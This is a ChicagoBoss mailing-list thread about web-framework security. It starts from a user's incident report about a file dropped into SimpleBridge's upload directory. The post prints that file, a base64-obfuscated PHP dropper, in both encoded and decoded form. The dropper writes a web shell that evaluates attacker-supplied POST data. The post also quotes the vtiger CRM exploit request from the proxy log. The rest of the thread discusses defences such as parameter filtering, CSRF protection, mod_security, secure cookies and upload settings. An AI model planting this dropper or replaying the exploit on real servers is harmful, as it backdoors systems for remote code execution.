Security tuning

[Tomas Morstein]

Hello,

We had some webserver related issues with both misultin and mochiweb, so we decided to switch one of our production applications to cowboy (which works pretty well).

When we wanted to execute this action, I discovered a new file that has nothing to do with our application and was created yesterday:

$ stat scratch/198-241-218-121-61-228-114-21-246-192-252-101-184-36-184-141 
File: `scratch/198-241-218-121-61-228-114-21-246-192-252-101-184-36-184-141'
Size: 266 Blocks: 8 IO Block: 4096 regular file
Device: fb00h/64256d Inode: 785007 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ tmr) Gid: ( 100/ users)
Access: 2013-02-02 23:26:42.004156002 +0100
Modify: 2013-02-01 09:19:09.474156001 +0100
Change: 2013-02-01 09:19:09.474156001 +0100
$ 
$ cat scratch/198-241-218-121-61-228-114-21-246-192-252-101-184-36-184-141 
<?eval(base64_decode("JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdGE9Jzw/IGVjaG8gIkZhcmlzIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0iO0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG8gIi0tLS0tLS0tLS0tLS0tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg=="));
?>

$ 
$ echo "JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdGE9Jzw/IGVjaG8gIkZhcmlzIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0iO0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG8gIi0tLS0tLS0tLS0tLS0tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg==" | base64 -d
$f=fopen('fa.php','w+');$data='<? echo "Faris on the mic :D<br>-----------------";@eval(base64_decode($_POST[fa]));echo "-----------------"; ?>';fwrite($f,$data);echo "done";
$

Since the scratch directory is SimpleBridge's default upload directory, I took a look over logs and found this:

2013-02-01 09:19:09.484 [error] <0.31784.7> {function_clause,[{myapp_error_controller,notfound,['POST',[],{myapp_error_controller,{simple_bridge_request_wrapper,misultin_request_bridge,{misultin_req,<0.31781.7>,28694},true,[],[{uploaded_file,"/dev/rd/tiger/fa.txt","./scratch/198-241-218-121-61-228-114-21-246-192-252-101-184-36-184-141",266}],none},"7fb9bb506fdbad4848f3ac975922b4f08b236b6c"}],[{file,"/.../myapp/src/controller/myapp_error_controller.erl"},{line,15}]},{boss_web_controller,execute_action,5,[{file,"src/boss/boss_web_controller.erl"},{line,785}]},{boss_web_controller,process_not_found,5,[{file,"src/boss/boss_web_controller.erl"},{line,553}]},{boss_web_controller,process_dynamic_request,5,[{file,"src/boss/boss_web_controller.erl"},{line,539}]},{boss_web_controller,process_request,5,[{file,"src/boss/boss_web_controller.erl"},{line,521}]},{timer,tc,3,[{file,"timer.erl"},{line,194}]},{boss_web_controller,build_dynamic_response,4,[{file,"src/boss/boss_web_controller.erl"},{line,451}]}]}

...and Apache reverse proxy:

27.189.197.71 - - [01/Feb/2013:09:19:08 +0100] "POST /vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate HTTP/1.1" 500 5942 "http://1337s.cc/index.php" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)"

It seems that nothing big happened as the PHP code was not evaluated anywhere, but along with making my error controller HTTP-method independent, this incident leads me to another questions:

- is there any method to effectively control maximal upload size, enable/disable uploads at all, and to deal with another useful (not only upload-related) options? It would be nice to disable uploads unless the application selectively allows it for some specific paths, under some specific conditions -- if the user is logged for example. Do we need to hack SiBr or any of the webservers?

- is it possible to have HTTP console information messages customized for example to log Req:peer_ip()? (I think somebody else already asked for this recently.)

I am thinking about handling "weird stuff" in error controller which will log all the events into audit database as well as it would optionally export some firewall rules to block potential intruders or share the "intrusion database" with another cluster nodes, and so on.

The problem is that I am not sure if the error (404/500) handling controller will get triggered on _all_ the errors, I don't know if we can really rely on error controllers.

(For example one of the cowboy migration reasons was that mochiweb crashed in production for unknown reason (althought on development box it was running OK) and in other hand, misultin was not crashing, but if the user requested invalid controller/action combination, the error controller was never trigerred. There were also some problems with mochiweb_util:urlencode which was getting unsupported tuple argument in the case of misultin -- and that was also not handled by errror controller [I would expect HTTP 500 error].)

Any practical experience or at least theoretical future feature plans in this "security" field?

Thanks,

Tom

[Jose Luis Gordo Romero]

Hi Tom,

I think you mixed a lot of stuff, for cb default security I think that we need to work on these areas:

- Params sanitization (Req:query_param and Req:post_param), maybe a pluggable chain -> cb_sec:default_filter_params => custom_sec:filter_params

- Maybe on view code, enable autoescape by default - https://docs.djangoproject.com/en/dev/ref/templates/builtins/?from=olddocs#autoescape

- Easy way of plug CSRF protection like rails (integrated with boss_session): http://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf

Anyway, I recommend you setup mod_security on your Apache reverse proxy:

- http://www.modsecurity.org/

- Centralized audit console http://jwall.org/web/audit/console/index.jsp <- visibility of attacks, correlation, and false positive detection

You will see dozens of vtiger/phpmyadmin atacks in addition to protocol violations, ...

--

Jose Luis Gordo Romero

@jgordor - http://www.freemindsystems.com

2013/2/3 Tomas Morstein <t...@idea.cz>

--
You received this message because you are subscribed to the Google Groups "ChicagoBoss" group.
To unsubscribe from this group and stop receiving emails from it, send an email to chicagoboss...@googlegroups.com.
For more options, visit https://groups.google.com/groups/opt_out.
 
 

[Tomas Morstein]

Hi,

yes, mixing up things together is one of my diseases, just
after the MUMPS ;-)

In fact, my post was more "call for overall CB security
experience/features" than to solve a concrete problem :)

We know ModSecurity, but we wanted to remove this proxy
in future because it's unnecessary mediator which may
bring some limitations.

My first idea was to simply add a controller function
like this (what can be autogenerated in some cases):
allow_params_ (Method, Action) ->
[{post, [id, name, age]}, {query, []}, {file, []}].

...but to handle this in CB controller, it is too late
because the file is already uploaded so we cannot do
more than to remove it :(

The webserver issue was a problem of simple_bridge
and we fixed it by temporary workaround.

Thanks,
Tom

[Evan Miller]

I think a comprehensive security review will be necessary at some
point... seems like upload + JLGR's list cover the big ones, but there
could be some other Erlang-specific issues (e.g. atom leaks).

--
Evan Miller
http://www.evanmiller.org/

[Kai Janson]

Peter,

The latter can be achieved by a before_(Method) ->

     case Method of 

            "index" ->

                   ok;

            _Other ->

                   security:authenticate(SessionID, Req)

     end.

Just sayin'

--Kai

Sent from my tricorder

On Feb 17, 2013, at 3:36 PM, "mpet...@gmail.com" <mpet...@gmail.com> wrote:

Regarding security, it would be very handy to control the "secureness" of the session cookie.Without this, no CB app using the built in session funcionality could be considered secure at all (session hijacking).
I am using mochiweb at the moment, to achieve this, I have changed line 470 in  src/boss/boss_web_controller.erl

form           
lists:merge(Headers, [ mochiweb_cookies:cookie(SessionKey, SessionID,CookieOptions2])])

to
 lists:merge(Headers, [ mochiweb_cookies:cookie(SessionKey, SessionID, [{http_only,boss_env:get_env(session_cookie_http_only, false)},{secure,boss_env:get_env(session_cookie_https, false)}|CookieOptions2]) ])

Maybe it is not the most 'erlangish' way to do this, but it does the trick. (maybe these options should be autoenabled with ssl?)
Btw is there a way to make a single app listen on both http and https (on different ports of corse)? I was unable to figre it out. A wierd idea: a session could have a nonsecure and a secure sesion id cookie in this case so we could securely log the user in and still provide noncritical services with the alternative http available session id? ??

Peter

[Tomas Morstein]

Hi,

Although you might not like most of them because of additional "outside erlang" stuff, there are few options to pick:
- for SSL load optimization, I'd employ SSL proxy
- for decision whether to serve over pure HTTP or via SSL, you can send a special header which you can match for example by mod_redirect (in the case of Apache) on your SSL proxy and do whatever you want
- a better and simpler solution is to decide all the stuff in your controller by sending the file itself or just {redirect, InsecurePath}
- and yet another: just run CB cluster where one of the nodes will be "pure http file server" -- as the session stuff is shared across the cluster, it should work.

Tom


----- Original Message -----
> Od: mpet...@gmail.com
> Komu: chica...@googlegroups.com
> Odeslané: Pondělí, 18. Únor 2013 17:14:14
> Předmět: Re: [chicagoboss] Security tuning
>

> Hm, maybe, thanks. I am thinking of something like a secure "conrol"
> session and an insecure "data" session, where the data session gets
> authorized to download something if the control session tells so. I
> don't want to send 100megs of not too important data over https
> (because of the additional load), instead it would be nice to move
> it over http, but authorize over https. For this, I would have to
> make boss listen both on port 80 and 443 and have a secure session
> tracking (with secure cookie) over https, and "unsecure" session
> tracking over http.
> Is there a way to achieve this? Or at least make boss listen both on
> http and https at the same time?
>
> Thank you!
>
> Peter

> Evan Miller
> http://www.evanmiller.org/
>
>
> --
> You received this message because you are subscribed to the Google
> Groups "ChicagoBoss" group.
> To unsubscribe from this group and stop receiving emails from it,

[Robert Swirsky]

I see this is a 3-year old issue, but I, too was surprised when malicious php files started appearing in my scratch directory. And my very simple Chicago Boss application has no file-upload forms on it. I see your description below, but I'm not quite sure how they got the files there. (It was a PHP upload script gzipped, disguised as a GIF, same as you.)

I'm impressed that there's some script-kiddy out there who bothers with Chicago Boss websites! As if there's a chance we'll be serving PHP out of the same directory. What's the best way to patch this without breaking Simple Bridge's ability to handle uploads?

[Jesse Gumm]

As a brief overview of what the "scratch" files are and what they do, they're just a holding place for uploaded files, which once the file is uploaded, simplebridge doesn't really care what the file is used for.  But the files are stored on disk so that the RAM won't get overloaded by uploads.

There are a few things you could do, probably the simplest of which would be to make simple_bridge store the files in RAM, set the max_files_in_memory_size option (https://github.com/nitrogen/simple_bridge/blob/master/README.markdown#storing-uploaded-files-in-ram-rather-than-on-disk) 

This will prevent small uploaded files from being automatically written to disk.

That's probably the easiest approach.  As it is, the files are just files on disk, simple_bridge neither executes, evaluates, or cares what the files are, and doesn't clean up after itself. So you might want to employ a cron-job to clean up, or change the location of the scratch dir (https://github.com/nitrogen/simple_bridge/blob/master/etc/simple_bridge.config#L58-L60)

Hope that helps steer you in the right direction.

-Jesse

--

You received this message because you are subscribed to the Google Groups "ChicagoBoss" group.

To unsubscribe from this group and stop receiving emails from it, send an email to chicagoboss+unsubscribe@googlegroups.com.
Visit this group at https://groups.google.com/group/chicagoboss.
To view this discussion on the web visit https://groups.google.com/d/msgid/chicagoboss/e736f93f-398e-4452-a2e0-b2e44f80f587%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

--

Jesse Gumm
Owner, Sigma Star Systems
414.940.4866 || sigma-star.com || @jessegumm